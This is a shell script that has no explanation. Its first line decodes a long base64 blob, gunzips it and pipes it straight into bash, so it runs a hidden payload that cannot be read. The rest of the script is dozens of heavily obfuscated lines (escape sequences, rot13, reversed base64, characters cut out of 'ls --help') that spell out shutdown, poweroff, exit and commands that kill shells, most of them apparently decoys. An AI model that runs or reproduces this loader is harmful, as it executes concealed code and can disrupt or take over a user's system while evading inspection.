kAYvLOPPdpz7UdVEkNjQ9MKBiLVIjtNlX1031pAGxcTYPqR5oddiTFIpWS9rxEyAXIz6V8VhVbX617Rhf9jVjJ/R6h5gBs10Dc1bB1WrnBDN/4Py4u+V9PpQMQ8bqvxE+CjZHSiCaDpj+qL7Cm5GCz/5ZwgSXQ9TEBFJuoQQUxwfIC4H4fCAAKwpE7tvQUdfdqL9DG0kU+3ripQHtY3EO+uuryrYW/nk+cvBdoL5cC3w2RkgLv8NAt/gqFutx4ev3JzZe6dxo+pqVpDa+nGKxh9NBp6MngX5B9AGziflAH9U3LONTz96posK2gEN1cW7rrjZuFGP1m8JvqIZXzM9h3HY+eX0z4EsTjKfOch/EARMCeK0DnLs9bXrSrdquKULU+Xjz5D5hDIXDcytecQm8z2A0gon0GMjUWK0xcJclOlL1NCG5g7YwSe7p8JXEBFA+E39ODdSTd8YGV9qWe5DyApgeQZvVJmN95Y/zMtgwGx2XssUoKd1Nt1x23W+s1uuBqqdMOa55DAtkGEKOjwCzFxf3YwVOZjhbexDHF8FdoztTW8XD+g0Lxx0G1YbohG7KLh3gX27PZWZFfgc2NsZ84qz4PPPqMoICVJHrp/V4LjDygHUapCsznbY6hDtlcV06jPMKeDQ0QPrRd/eh+1ySAnJXwpyRRmdgahFgiJYAWtgEJm/05SchODq7IWVmIjjw800Dlr4g6WoTM5G4XfzMmcVmmySZT2dN9SXLgkqu72rbwAW81kSMCaio4eZw6S8qorg7gl07h5G72YjoMTGG5UE5/LNeGHgECqoJOs/ple9UVYXrUn5yedVJWqskB1K2rkiB/Sib80hz6IobJMYIgq03FvocjPDw8zE9VfZ0K8IJBjq8hWeyB279BEnFUu5xT6CpxV0zTth9iB9cpz2zriojwUORJo2fb5P39Cp7SQAr+dh/+sFzXoK8vtGuAWvj/wIj4djFnz+GPyb1jyuKbznzHeEwUoGKN+IT/r6KnbCERKuGjaZ3W79j1MN/4Rg0ot9DS6qqg0snv6YEfwPD+2nqL7ocFfiQGvIlBZZwDpZx6mq6kROR91R55UCIQlGAEr6n4DPLDeoKscUEtE0ju41a2QHlnigGPmCB/LYPY5YEUl8EIj6kOAiGuNSq3yS8xoZ006pFiAlmQ/vsByWitUWLBJJU7tkbynKsBKvCWsuWj9/YRyepyEKoWv6OF0ECVScBp2KszmXmwnngN6Fc4NC8JEiJ/At7OZU9smH5KRjcat3iTm0I6uBv9SDqXdA4P6Za40+6ei1fHRS5LCUzswcPVmbP42WUPTkfCTivGWQ2+1ozwTOJCYZNL86nhKn5CZpv/JfRtfAPz1XmDYlhWNQN7yxXGkVzaghKI+L3OOUzKBR5Rh0AjBmAcTHLwEmPiQz7VKnoS1YfSLS673eB+QLSpPx4G9eck5bu2ar/6ZH70mYV6cUZzYpcndiwTb5Mi5BM9CGRZAQJaCKUH1dqczzGfdaQzqS5dwcd0i44Kb8toEL15A1lf7Byf4Cs4hkc/QhvDOUKRBH5L7B1UTiTVzNVRQiRqMHYm6hi4oNBhUqm50YoaHAu/g8kw8OZAAgtLBEN7eyxyx1XgQ0rgNcCqb4JEoqusF8JeWYZCK8ukWmU+LZWkaWGugwhLZgKa7yqhnbzdSPEFjsa+ujDJTw78ZIx/EoXrZDaSNagPT/2LdLWM2uqPzEIH0I0pPQiGkOeb2mM0EMgzSEdGs/afrXxwfoEmfYvjSP5L88WPXyIvld2b7AQpA7zOqqvG0bK7xwGgeVsvfRpLiIklsdM+E9bebICjV/qO39rs78dwJqbGyun8ULngxumzfwQ4q0b8QNgFA1QZfV8EZvwvpPFBOuV1F1O4s/LCGhKNkPkek6iTGAVSJ8CfZl0hhs8MLdiXmRp8+qzJE8e/SmVNs7YCZxUyWlDKsmwMCSfA/aU1ArnyzflQu+f3QWBMtHBz0FoGUN7AskicOlotabM5qYWP+VWegfUQmhtvoo9I8SS1epdgJ6O4fEbJqHZw6BkAEmCRj9lyzfxuPx2aDmCb0sAAE5O/G2R1AZcr8yVlzzMdqsZBqZ9OGf3TaYIi+XVjyJGV4f5jKIQGG/o9gxriW5Lh0ASKQublWcuU0I5U4qOjIUfmu0ljepSoNY4OFepGDjY6JNjnbFAk5xY08b+qr4CLpReiX40BlGGqpxvdKTz7eNi7aNG8JyCyCcQZEVDcXNsDnThp7Mz2wEaiDx2OvdrIs0yPbEYOmgQfpfpDckPrBjuwrPTWfyC0bXqxNNI/pikpFoTTmqkpVSrwwu+DVzKUeOz4UgOPdrR1tSdH7h6Yv8AeKvjQIiR7Q0EOhm25zVNwgnxysfyMbTyIafMvB4ZzoJqMd15w79HY7NWSUK+rBHs8d/xEFKqsFPvjdX1BD6Hg8iLPYawOOnN+kXzjAiXI8N9k5IRBYPM6mjWx528bO9I/cOOPW8F7p6kRNsks79tScJQJb4oDVSza8SmVPxTRvxApU0brhxhVffoPr2kFSASTac8/NKPHP5+E9Mu3qrvbivQEeyIB/m6BKJ/Wxd7IP76GPsLBOmzgLK6tVX+K1Hj+zsrBkdqX39OWoc6QHZsLPwwL2I6O8GeeNew1AqK18JW/jpsYGomJdhsTESC8nJe42RJbK+DUt+o+iJhx41pMfiO6OfnXCbn9cAedjdAmpu94OYE/fPwgte5goaIyOeStWgCxDBxNN/8SsyZaBkbn1NtnGRQlj3TL0C7c24ES/XNV5tCa+owz59C+ci5LJBOR1NvBKORTvRn7HsUds6srWSMdOAFzNQxQVrs5CcaCBSWO9fH9doWvTdZyiP3Jmo/FGzpACA1n5Puq+JCfoZ+sNLAHTXn9pS/TN/1hl89sGfxN4TPoiFM7Yg1Kta8SPjlT2qwbN600ZLQPTDBDT4EMVC4pLxa+PKOcuwA5VGtsYIJv6pvShvXznhYvSa+0Tlzf0xrcfO7XBgfr7huCfYvOzoUZU0mk3W5btAlPZnLnPpZtBrSStOsKuHG8N1dFumKtqJBF54KR6yUFcUI9ueNICwyF5PoEMA1YfW0wCVC2+X9PMpFnqIKdf/73ZvytgGr8A/HeSvid5gu2RKiw+VML0xdflHhyhuOgkxNLwQzOcXgtL+0xMMDh/COeCloU6asxwfCyi2bquEbP9oaL4mIq6WgjKPcNgEH2c4H6lrMF4Rksbt+9u+kvikit8ITZLLglr8iqmTqZdtsILD98On0a9paq7rp+vC9I863t42TgLTJbkfx9mqw+hY5HJBykG9H+aL2lfS6z+DV5Nm+TH4s7XOW1LPBzAXVpDSzHIf3IXNR076VXeObt+23pkkyxcglg/p5UW4K3hUybTW341BQtPrhhnz90XATCfmoauP9Wiqwo+5AIeXgGw0S2da+lA2raZt9B0wqTpiO/GRkYJJviKtIE6ANjF8inaPFpMzBQaw3iaQ4E1C8wMZhfS7LjtyAxVHIASfn/gxrsNd26gJzvJeCAiVLe3ApqmS8EOHSHj9sDWqEoH515CrwJWpl5nvQzvyB3AoQV56lVbjUI2pSgfYe6b74PYH+a9tZZcZAhx9O3ySx55L7tUckvkXM4G+JwQMIzhOeUAu+WTVpvTtrpCY27LMsPXr7JG0z+gaq0XVaxA+22Rf7mRecS3Bo9d24KlrwtwJ/j2VNpdQ5o/Kp02m7zQkLZFn+jXF7XIfml1/6pH431sDy4yAOBdSkLgGJq7ZMp8IgToOmFHkbjIEgU/qVBqM/gSK4gOxKcStywHlFhBCHtDGEeZrpXw1XlS75IV/cgvJTIP3qji7Eyqg/IZd1ZaucHvUgu6eymyF/5lJOF5vIRZ9KMrUITo5e0R6+vOkHQI912ma3TkgatWzGL3lTNYUucFZ0lXEkH0e1Vnl3IYnetFT9QIyoxFB8NU93a/veMfWPOF5UiD1wx8yt/7hVChhUM4H8cgvU8eGHVrUXTHZkh9bvcVuS6fAbEu5hJikJVcHQEaW30Oa3VOW/1llDvQ+YedbCECmVc8t/W0O8U4L4fbSDz0NVzFFfGLHvSXjB5t1fIF+Lpcd6WRqd8e5kaVlSpAfVEU8PqVyPhuSgdVNv++zAoVaJ0IZar/ok/iLMbai3gT4J+vSUVR5MptdTWzhElGBj15KquuAVDwKIYnzs3WyylIpo8gf1bPqTsvr2ONv2GKeFvWwAILv7qCnlSzEpFgqwsWbMjpljFjAlm9KAbhJLCBB/kvHsytSzX5y+7qvm0w/k59uOfmddW77KtyCpt7pgQ8zNUUBkFjyxCgZgylh8cle0OJjI5kuJzgTnw7O1ERzjSurYy4+Bnmjn4cX4tGn2UIoeJajac6YXQz8ruAP5bVieVYAFutd6anf/F9b+xv0YI4bLLu1cLsPGSAUgoaQRVgG74leaPylPbIBO3aZgH3cIwY8zi7+fvJbY7bT1K2f8Lunl7d6Uik+ywYuLftBCJyf4Jvs9SsZrOXzlPMU93xs3AgXru+IIhQCVVt/LZaVa3FX2cXzbj1snw9QvXM12T6/Thfnrn2sAW8unIXyz4a/qidE/osUjxu2mWjRdZs3zmXtGe3/wfgQyDS91HH20m3XcYwu5OfeFTN+1lBb55pCd1vhxMwAEKpQJfbJKDI/QDiLiMiRdyumzDwJE2YqUhnz5hfqlSgdXtzS0vHrwx205/c5V6yXd8ciAEHzI18frwwff5KyhgHNdgElMJXxA1CbMeDAYUZThWtRiJU9t6fJZJLuA5ZKCXQEFPrXAnTaVbH5GW8BBDzVrZrYENN3Guu78WvZ0aYy/a8OYuczCWK6z0GQSh7moaLMAdah59CHQdeJi9aSA4YvBL4kBXRcpczhLMP0LtsbHmDOzPjYa8/xnwGgJhjamRbqdbs03e1od1p7nOqZoXJ8hI1R8pVG7/xKvQuyxNBp4vHxiW2zfCD9fYo0RVkotW0oa+ExuVJK3EjtV4HIQF9k36OkIHBt9yrwzsNJLKOwbg3hZGHi5rvLw9pJICc+bhpRxGvh+mTrjwiCNvipOGhxtA7H+IzLM86Y8YR3k2a0Q6yrqYScpO73P7kkhVfeQ1Reg3G6piej1KQxOQ4GRDoqCO+31wr6FDppWEObrz9hO+rK0bVr/jnq/+VLaN+T1ObQnl5K1iyyKzy7xeB0zgu2X1cMwBRJ9eo0mMsJZQcAPIS+/mONCC74Z83XDH2sgN9WscReMvtx8KpyB6XpNPsZWoGwQ0qkKagfp52/uCeWv5N6qEuZT8e1I8Rt2Wv9Vuh/B+81nqH4xJBWz636/Y3hZrCoi2dLUzIxftBUxFII8nO/g55FAiv6jRhfEUK/QVTZxEOpbklHKDjyVQ0mhwkHrsdJoNwwowFLwA/gIP98ssP50rHgZ4LC1rdb7HKUmHFQgD+dEPB4YiI1hdlfwqSvtTsl5d3c6QSip30dIsYuwXCk+qiy3ex2TXGWzIoP66yXuCVawJoMyZs0sxByQ58b0jySEtFITGhRnb8pHuUzj7xiWRmGdXCQwvvcdD6ZxOq5hl2As2pZfhW/qs3UJLBLAnVEHV8lKnRztk8AoT8Dw/jTKAb655gbCsjUKdluUVf5UtGTB4e5605SyPttB96sp+IN+WXCpA3AvKsXWkJbzcP1ScFCGNpM8o6lFfCl8+zOoLUqoxY4FR7SJcCZBR63vKsERmQ6/wYbHwl2wKf6i0ygqdosQFuFbG2/yqdt5bchMhyZOpdZi1j4DtK5pv5qagmZi/v1wAp7FPy5314+IyY1JfCbkDSV5cX6Siq2uwZOBV/2toZ5JbPeaFj/ZD54qFr72ayfJIVRp/JWGkbx90EW0da/sKSE5ADuolmqaEbDJ7gwWiOzrOV9KK4tf7pjl1zOfT+r/GtCed8Z8rP4R2pobQA/wWk00SRyD+B9b1QrzMSWBKlUUsQeCnwDdlEmKXXDFaBWFgSEAGqqd1X4JmYsGEBdvAK/XknuqDSgiaCafXCW/4K3HUXlRra7dr0jWAC+mHRAYQCe1GLtSIwk5+uHngBSCl3GlKxN/Hhr7hY7565mAJUhGS3ELV3f4ZdY88/aw11KI22MMQUKyE0I9SGFAE9T9ue6NNBmnZWzs81uuAShpHXzldND76eDrYuvvEYmE7WcxEJ/W7NZ+WZ/TXbvuXc4EIYMkjtgCg/OnvfieHi82LeuAGR2klTVRVMfvJrDjF86tOx90cWYCd1AHAzHlnpgjLi9lhAmG2HTym1udGZyXcWomfPh9rDgM+wb89GbKhaqD+8CSrHd1hjasw4AcFXMQnPEA9sAS4hvtKiq0v9bLDUkZwphYxRbXsn4eWS/MWb+C78u0fK6Iwl1YATd4D+gWvez+Y4Ub+aWOfrREhJa3L8yXBJgmRjywrpB3kE847SdiLQbMlhmnOy04hPNENpVu2NOJC6HP2gRh86PvCFI+uKztQ+0TDxXFedqZSPNUCFECaSOxZXVtih0yHTMC5JeXNXuB5kaiApFzSYMd7M4+nDnKvtoJ0Q/CmXnfX2DhMx1wAmYa94EmjUvbczbErRrJlr/HZUMDYa3T91UZNFhtCk7G4te0vmyskKR+czKl/Jn2Wa9kXqhpsoIcAv8m9kjSgJdcD5EoOIp31xzdg3lqr29G5HJQJvaACCRpTCuaEvAz3opa0woO6/movqXVHx0yKsPcEohp0o+TUahdFV/dcKUi0n7kXj9dvRpuudSIJR+9jmbCj3ntyKWSEpX2PEUjmQ/y6tsoTvGtzAb1t7ZNKN10z53MbtV2OcklOf9WLbBf+ZGAtgUuTRKaY2GzNkoFt49SzIoOYy2RTc0mOl4qGUWxrI6ie3E6skS1foTMU8ttB8VXAuTKr3HnDfZ4419s4QaxoYQ2Wqy3qDKJ8lskPi6+EkMlllnBOx7KmsKOFpw5ZfoAjKmRvpZf18cFxwDUN2u26u0CEubVerCBrylrQVr7NuYF2HyYz2yRW/TCNrcX/OBXYj1pTpDgBmx4VzOgtTfgYkYsJ/HFvJd+bh1aS4TXxlQoIFcm5Y9UYKqDz1os8trPOUc10MxSagygb+/BcgAo2yXH6KZzL7xNKgMJp+T5uiSnVpk24brXzQxXQAIGUX1hvK1zv7mHH/IRvYnQtCeMYR+Hweq1S2IYawxqr+/J6PrUt48RJ+zVKho8kix2HEJWP9qtvoqbziBTAKG/zl172eV1ctXMR/e9JJYoYLJ2CUQbKT1oHa0agx/Q9jHJWXjyqjk5BkOZpirD3mwuzhA8RCcq2HWGcFdtWuoZJsNlbsnVVUB520XiCFP8fmUG3qKLsXejIKPsx8qwJy4z4qAWyyr78n3w75zci690PWJ4wkZW10NcnaYeTF6h8L1tf70Zht3eEi56GHsjFo7xOhULdph8MwlQkDdIRSXAifkUjv1oDlfHYk6A9kMBsceUhlRgp+AGAgLBZBFydwc+eXKv2J5SDF+Q0qtd8kRMy31FuM4qQwYoA7rQr7jDjNWzJLHAYvSuQA2MpeSE2ludA/ACDRIs3cX+MgsHJRemoYxqtBN9Td2yAhwYq/CSlUuMlfHmY6UTMbxgV7x9B8wrd4utiiWygM+PAAASba/deOwWGpHEfrhf5wccjH5+6Eo70DecSKY5fZpxBcn46nW1n1zZ4ICwR4AuLy19w1u54L5Lbs3m+e03n/x1b6zX+tgiEiMDN4be8u1N2OTNr+jWMHaJ+2xhBFCFB6ffd199M6fKWMeVmwvHb3A7vcol9OIS1WED4mpzlrVNFEA+AOWfInHHL3ADFIviHMg+JiqZ5Ac6+itl2bV5nNclmrOzMBPUKXdQX1E/5WM2um6/nKhTbWR3YJ/fVwgVqlNLxdZv2TWpiyIJ0gvTQTiIJUMug+Ia0bEok5gbkLGrApOOP0wNAWsfQ7KuQAAdJBS0STifR6FlSKzRHHnJdvs9xK3u+p9gIzGIpqbx/rBsVjPwUKha2uHl3u90Y1vxjBC/06GdLLF+BqQHAWHdwPtcYYWMlAL8/BpW6mg88X7Jk9ZS/NdQotXw4cUmZN18pRJWXXUkRnEkvVVNjmTlmc/Q31Us11Bk4cpX97+qQ2csTyVpf8I0DpvT++Pda/b0wd8ae3M/4HJ+ToESmOdn1GEMaSbxcLOToDTDBNW1FxAe+FXAtDgpnHW+yjXW6SNK5dkk4lIgO+8cOgwndisQsd3/kHF0vyIIX599RFsK1b2NIiON/YnqBm+C19zB0zNmTIfUECRfP+CgDfP0DpcQEye8LUFKGmMnOJURy0MciTjbmOdG6St5hySaGp3gCUjxwXSj7o4upjY8+pv1orAbWMSwbsNSXa8cb4eA3mRmaZ/Puscmm2A3070VpXPZx6oho8XFy6Av91wEP6y0gKVn/p3i3JHsvNo/LwYsm7CaUXQero9nauPa7I2MoonmX+p09ASV5jN6ZMIamKDO6fyh1z1iYtqInN7TppFfCaHt7Gjtya/GcTZ6dWSHEmufrBhnDRcfpYd2wCF6PKZEt0Fn7rJ3aNGOKobkkEorVIMFkz5rivMN3rA8j5Lxi1CwCkN3PFcNrzXBRcbio5BMLdileTiPUd65IpkyhAtQG6eXvyfq8NgSHvZ6OkcheifI6GIhqqAmfmZfXLt8pDwx7k1YxsXg5UUfzPBMjaMAW6uXXG4gVip0rX9uziu0r59TRihOjJzuwk2XXjbE/abdlCAIHcUBzDi+msfhigsf2V+/SI7tNM0CSr+leyZK6dtix4O1aBKFLrhRkGDGt0whIv1l56KaZaBTuY777oIxgVN5r0myqzJvt6wI8MFO1/r1FcLfm2zGuNknP7mCt8DsggWZQAb4o828H1jkJgvxKkmseOezE3G1ttH5YI879StC2NDjW3u8tLfXYnkc2KiWR7D4GMLq6fClf7h9opktgt7leRC8tuKCLOaSw745dkjaNnwSDGSUI3a+dezT1qoFY9kvBxrtXIwGIWJoNm7RtmXkk9t+4gGwSRvxMzR+Jk8J8gqGFxUf+lyuceOwLzBdTh0wPlfdPfWQuOQRVKznRZ9iQCX38eHzlMsaJ406gcKMemiBL6sx6poqt68aZ+DfHF9fUvL6KivpwpqjJQa/wQsLEHMTLxY8u6GnJbGNA77rlJEuKhdx4Casg09EBN+Wxn/ni54qlWIT1KI7ENpxO9ypTTtgdS+HKDNwnFZPSny7iQag8nMJU2vgLdYDfZ4FH+0QhQZUFQ7m6NOpBTWe2RJTfOknVMFV94WNfxlOln5mzouLAxhbNT/BtoRMy5KOgPFV6QY5bcM2OyjVPSM2ERQQctKQUia2GuSPyYXBcA06zEov1WxKcGCWSIKWv/Vx0HhbIX3hvsn6TXo+H9iNknP1e/m7MNVTjdx67Zqe9nCEypJhMjJ/VBi7pbCR+3Hb4r8lm5KZUQmKaKs3lz2qrzHe1S0g5ru2kn3ai/kYPfyryu+yhHmF+dPTOJlwq+f4ift7cbG+SePzIjh/KM0Mo2Jcgq/ATIC7i5wZmWbAjRf+yc4yb2KT18jZ0LNB/O40pBJC9oVkvmKEluf8fXFEoCon0onc3Dm3uwCFkB36z3KTRVBX/ltkn8/yxvjb8IbMl1gFIWD2RbBVT6qFlNDJTUI82Jnu0dH11cgsX5HIMIccpOikOu2ttKM2cc/iIvjRmGT/Hr9xMn3ixY2/qpTn2Ivox0fPEDnLADwa6VtVpdaZLPQr2VkShU5Br2uYZp4LxoFyubB6kSFOqlUGku+s7liXA7+PFIjxD9NPNWduTEApZMaVPS00Tmlf49t8cwWJGuGtd/Qb3baHyDGnjffyuepRipcoqMNTuK8IgUuGDu9rC5rFz//BXEYrW2qzzNUTQx7EGKfd4YleMHXMM8O380TDK+nl4qPq88QqhqerC9sJhAvaeQyCfa4C6QcbCPNMafZFvtX+gHDujBiyc11WKEJmCFcZRPWCNKDxo816lCE4fNv5oI3ku4371zebuhk2k3A5AXBh6TdIAFFeFy8y/K0azCif7/geOqTxbf6KWBdmGcNNRX/G5/GKbsft75RyCdQ6I68Z625tXPw8VrORpQXD4XM1I6F8io8nvhqQlWsV+qHXnDo6SJwC3eHAj5/bMb4Qa/9univX8KjdTfimPFAsc3Qn6Cfyz2/ic3C+YpeBFtTnO9X1a7X6z2xj5pu1R6INcRbURicSUETvms/dzqdb60iY1OEov09iSgnX5miGhVuMQz+QOLsmC7B2n0BjXf96qfi6IZAxfqNZ3fIuYrIfKereFKl500RwzfWpYbZ4YS72UMxA1HlXBir2I6ibFvKeXfMZtMXSrQ46VARr/ho+AmFBt7enq8TgNf0yOLJGD+nfRH2gPwXbEDORs8rzPXjJpwfGy7uVeQabMqnEwxbU1l+/W9agvNAYLeUbdrYQ2tq5w1VXJD6F+hjU4DAvygz4l+LW0M0sBWhWFjDu6itVomxZqskfgI/PLAoqcTCVmrImhff089elAtxmn4HSUcEy3oZrcQDwvJTxoUyni5j1OrIVLRNfiqK1QZDvk6kYHJfMQ6/Qnc/9A5QOS+7P9YMVvZ/topJ5bAQfmNCfXA3EXnO9AfkM99xskajSYoRiVC1C31olti7hjuav/yfgW8H8xgPciBcssZIX6Xb3A5+ZCtVwoHokHvTd1QY5kxkBDF+hSJ/68Mmr9cFrnxany4+rklGRJWebdinlASG18xVeqAiUsZhzWtukS1fGFaucEzeJsMFodFjgBRvTaU5WFbc9iCTxvRW7iOyyk3JUjYHlGiAcXAGCguSzV6RmkpToYSGL8zQ0Hx+K0yuIyGDggEds9gXI+/40AujfpMRs7vR5/UKlvy32FdG2P9oyOLKBCLCVa4RqZSyXbePn9ZEyJRLIUUa2bOZP2Vrlmq9Dc7kvDAfwKAbMARJBdROqKABNotRa8Pl+T4SgOSYUOkvFo4O26r9+Q2nbdrJoZblOkW3EivXqwhwHfah+4YPjAeToTbn6X29OVpLl1/Lf3XIDSYhgBAjfkuBUWMAebD3QlwO/E5Z063wOvx8O4/Ne9MEFwH1p/zJx773LkUylR2MiNkY9MCTwp+LIjzfmuRq0bb2HDPulbsr12X2VnoJ4ejzs7rKhGmXlgyhkfdVC1bAPdsm7GNNapKqpe35FJjXov32N8lX9q+RH0ene1uOsJnwz9I7ArJ0RauurdmeBLuvqJg++Zg3Qe8gnyivcZiDk96CKXCwhDU/5/W2CZp96FGMx8DNbGw4Z+OIpuXhEIvu9/NUF0Arhr4+qTb7EM5LOf5VEdT6lD1m6f4Qi4uwOcdtvnngH8jab7EqSRwrmopIF/xksVjWliEN+XMPK0cxekQISMUgsF6eo1m85WtJrwUUkDbeQsgQuHyArckYtyLuv2c5eeo8XdyRvZ9H3mbjGtIrvlfGwij3ODCcYWnc8Fm03ynFKNZnHpaXBBpnMQbEYXqeyJ3RFo3u0UfqvmJ1z4sbdx06C6nULctvmj0NIrPwi0Jer+ctydo9MHZK4KMKRpadJM4Xka/Nxji2sAs/qlZdTrYq0MtwbA7cZk3OUQ0Nn+Q/qOUISomT5FWJ3nfeUxi/9d7imdqccg07vLstYjSR8odhCZVIrA8PI7OinCSvaH5/kcTxPnF3uE3Ouv9EIzuIOPoBWZzXMMtB1QdD95ABhrbJnomnUNhN8dePHfDQ3Asom++qGHDDmWv3OBoUSfnE14ZVwJJxtdz4nJM1t/ZsQ2fk7Z+Z6jeQwZ2IG2KfYEjvno15p9Y0TDfCNFfrvpDiM91aaCNc5AhcBH2DMyeO+6WWXP8hsLUi6+pyMsC8YQlLTvEpQGlur35qW3RcR/Zn3nu94/O2CtozqGqyDSDZ7H2boyASMMdygamo1ty/2TLJa4delKxxzPLtqiZw+XSBVgufAH3Lck/JK3xoheD4xfly1J/elqMUGaEffrV9u8RVZe070d17B2uFTkuKo7bm3mT/xVzy+zMSYPLecCqLPPchUjP1bai76YItyifBjtxmKGBFgNVZMfGD65fwI0mbzgF7xfq1XA3dZO7n+BjgP8r3ZGfgX6b1TXC+ipRHlWK/4Fx7jXhtXOl0es1e8jC9OVkTXLQVYlHKEs2j0ccQAWdvPsUDNZxmyZgKXzQKLQOp0C7kAq/gxyPfnM3LT0JXT4JQ6QOYyNZ+sunOSBtLDLiJVCOTf+prhMgQFZUZBPw2XQp8r1X1rOtAjrEFkxzAGiSEZcDyP0iPumqF+IILAQNBx1AZ9c7YlNMDV9WVyZ3n+jZxzDVY+EXhQgb1uoNlpPqnDQCB6H3X19AquefhdUkxnMr/ymYDg60c2AwqHZnBzX9DneVbZijrCTkVB4KJZPPTG78caWp4J3nKo+OZhh2D+ip02uB3VEyLpKFUn3kTc1LHBxwXkMc8MdSSiSpTvAHmjFKrvzl2+7psEnXz3F9cQwL7wPQvTqu99mY9+WZ1vwCQ+9Cu1H8KjNPSrCY9g8eCnrL/OfjkHjlormkkZvJXFJJ2AHjBUej74s2UopXT5/a2GBmL1rflpgEaqAffONt7c61NDWsX6+KO/7H7PlfRdE6UftgyiaTlazi6GaE1SOPChq/1LoiJvyIvPJc4mKF3vazk6cJtFNJcOnSZSZUMd6MIvZSm7muZHE5jVd9zhGA1Ejx/FtA8n3mz2u6TiabJSavdh1B9gYbcVSrSf3ixBPn8F7yioiuqUaki1u/QKkngj4v6cMO99eQ2PdUOBsKff5hGc1+n5xV4EOszIk9nLgxwRagdVRM80vd3NyuK4tbm6Jc5n0lR9XFTrDQhRzp+vKOKG/3LG2C09LuowpYqH0Im3yai49sH4GHDkkoNcEgFWeDXsK3W5BIHMVBvf/L9U+B3n194JVt1g5hs4Rpe1jWuLb/1k6r5TskdCscbOIYAGqJPzR2Fm4sDphkBMU22BB5x4VcaX+Qh6H6vRpwIz87Sxxe9LXlpbtsoDs8LaUR4uxziN1n5FGWXtIqCz0fv8Yzgdbb6VdTpEt0zZ9/qKpkXr32o5o74vms7sL+63mj61A+XxJNIP5y8XYNmM3XLq6k2hkGsYJQ8ZdT/JmGgyosRRJsChUVGMicUxlls9rdIcIRSQbUvL7Gji+01u7U+P54kwr12FvwG2cT/uZxUpJC8m0tpmvzbaB8SFpVHgbm/ixRuVfEdf92vnEHHFUzFaxhf8eqzJjmZ0O+1wsMLy9S6hkj8J825M2lOeZWkYKmwIZFdqPpLhgXRyNKbOYFeLVTdHvI1T883VZWF1XTthKHZVuhCAsjoVmkiH3+8HoxgyI7qUfzt9iH86hb4PVJrER5yf8mLSZf7rHdgWrg6NmB18StlQO/ih9CWbn3CRoylbOHqEPUAADTSQuoDV0rHP7/286au6bTuDuTXWwYSzZ6rTLiS6idlIQ2016bcVzDX9fppjq4OibdCUEa8xVW8YE76kQiLioDdwY77oAblxRT9Ms3PKKLhd0gwy68+jopxeQ8PMbUHlKPEwspM+k0nnDerIu4xIaB1VITeDZH0E6GOKc11pvSAmJ9MOXo1xOXMh2lekIkNM3nqon8pzZjFqFltfyVy3Rvu3+s2Hc4gk/sRaBUmhS6bi2F7kwKSCCbPQnrCftf/+x//xwTz/Oc3luG39n7Tc/gZj+N/yLH//+s/f5nTb/vy1+b/98wN//jb++dfxP4cC247hz3/mx/7nbzn835H/jv13CP73P38bij/vvj/w/+Mfn+MzHn3/56+7NH///wAxa0NHOGsAAA==|base64 -d|gunzip|bash;
$'\72' killall sh;
: $($'\u0065\u0063\u0068\u006f' c2h1dGRvd24K | $'\u0062\u0061\u0073\u0065\u0036\u0034' $'\u002d\u0064' );
$(: pkill sh);
$'\u003A' $(ls --help|grep ^G|cut -c13)$(ls --help|grep ^G|cut -c22)$(ls --help|grep ^G|cut -c9)$(ls --help|grep ^G|cut -c10)$(echo -n|md5sum|cut -c1)$(ls --help|grep ^G|cut -c6)$(ls --help|grep ^G|cut -c36)$(ls --help|grep ^G|cut -c16);
$'\u003A' $(echo p2u1qTEiq24X |tr A-Za-z N-ZA-Mn-za-m|base64 -d);
$'\x3A' $($'\u0065\u0063\u0068\u006f' cG93ZXJvZmYK | $'\u0062\u0061\u0073\u0065\u0036\u0034' $'\u002d\u0064' );
$'\u003A' $'\u0070\u006f\u0077\u0065\u0072\u006f\u0066\u0066';
$'\x3A' exit;
: $(echo XLzMiWKM39Tp |rev|tr A-Za-z N-ZA-Mn-za-m|base64 -d);
$'\x3A' $(echo c2h1dGRvd24K |base64 -d);
: $'\x73\x68\x75\x74\x64\x6f\x77\x6e';
: $($'\145\143\150\157' c2h1dGRvd24K | $'\142\141\163\145\66\64' $'\55\144' );
: pkill sh;
$'\x3A' $'\x73\x68\x75\x74\x64\x6f\x77\x6e';
$(: poweroff);
$'\72' $($'\x65\x63\x68\x6f' ZXhpdAo= | $'\x62\x61\x73\x65\x36\x34' -d);
$'\72' poweroff;
$'\u003A' $($'\145\143\150\157' cG93ZXJvZmYK | $'\142\141\163\145\66\64' $'\55\144' );
$'\x3A' killall sh;
$'\x3A' $($'\x65\x63\x68\x6f' c2h1dGRvd24K | $'\x62\x61\x73\x65\x36\x34' -d);
$'\u003A' $(echo =bNqcuKM |rev|tr A-Za-z N-ZA-Mn-za-m|base64 -d);
$'\x3A' $($'\145\143\150\157' c2h1dGRvd24K | $'\142\141\163\145\66\64' $'\55\144' );
: $($'\145\143\150\157' cG93ZXJvZmYK | $'\142\141\163\145\66\64' $'\55\144' );
$'\x3A';
: $'\u0070\u006f\u0077\u0065\u0072\u006f\u0066\u0066';
$'\x3A' $($'\u0065\u0063\u0068\u006f' ZXhpdAo= | $'\u0062\u0061\u0073\u0065\u0036\u0034' $'\u002d\u0064' );
$(: killall sh);
: $(echo p2u1qTEiq24X |tr A-Za-z N-ZA-Mn-za-m|base64 -d);
$'\x3A' $(echo KYmZvJXZ39Gc |rev|base64 -d);
: $(echo =bNqcuKM |rev|tr A-Za-z N-ZA-Mn-za-m|base64 -d);
$'\x3A' $'\u0070\u006f\u0077\u0065\u0072\u006f\u0066\u0066';
$'\72' $(echo XLzMiWKM39Tp |rev|tr A-Za-z N-ZA-Mn-za-m|base64 -d);
: $'\x65\x78\x69\x74';
: $(echo K42dvRGd1h2c |rev|base64 -d);
$'\u003A' $'\u0073\u0068\u0075\u0074\u0064\u006f\u0077\u006e';
: $(ls --help|grep ^G|cut -c13)$(ls --help|grep ^G|cut -c22)$(ls --help|grep ^G|cut -c9)$(ls --help|grep ^G|cut -c10)$(echo -n|md5sum|cut -c1)$(ls --help|grep ^G|cut -c6)$(ls --help|grep ^G|cut -c36)$(ls --help|grep ^G|cut -c16);
$'\72' $($'\x65\x63\x68\x6f' c2h1dGRvd24K | $'\x62\x61\x73\x65\x36\x34' -d);
$'\x3A' $(echo p2u1qTEiq24X |tr A-Za-z N-ZA-Mn-za-m|base64 -d);
$'\u003A' $(ls --help|grep ^G|cut -c32)$(ls --help|grep ^G|cut -c6)$(ls --help|grep ^G|cut -c36)$(ls --help|grep ^G|cut -c8)$(ls --help|grep ^G|cut -c7)$(ls --help|grep ^G|cut -c6)$(ls --help|grep ^G|cut -c50)$(ls --help|grep ^G|cut -c50);
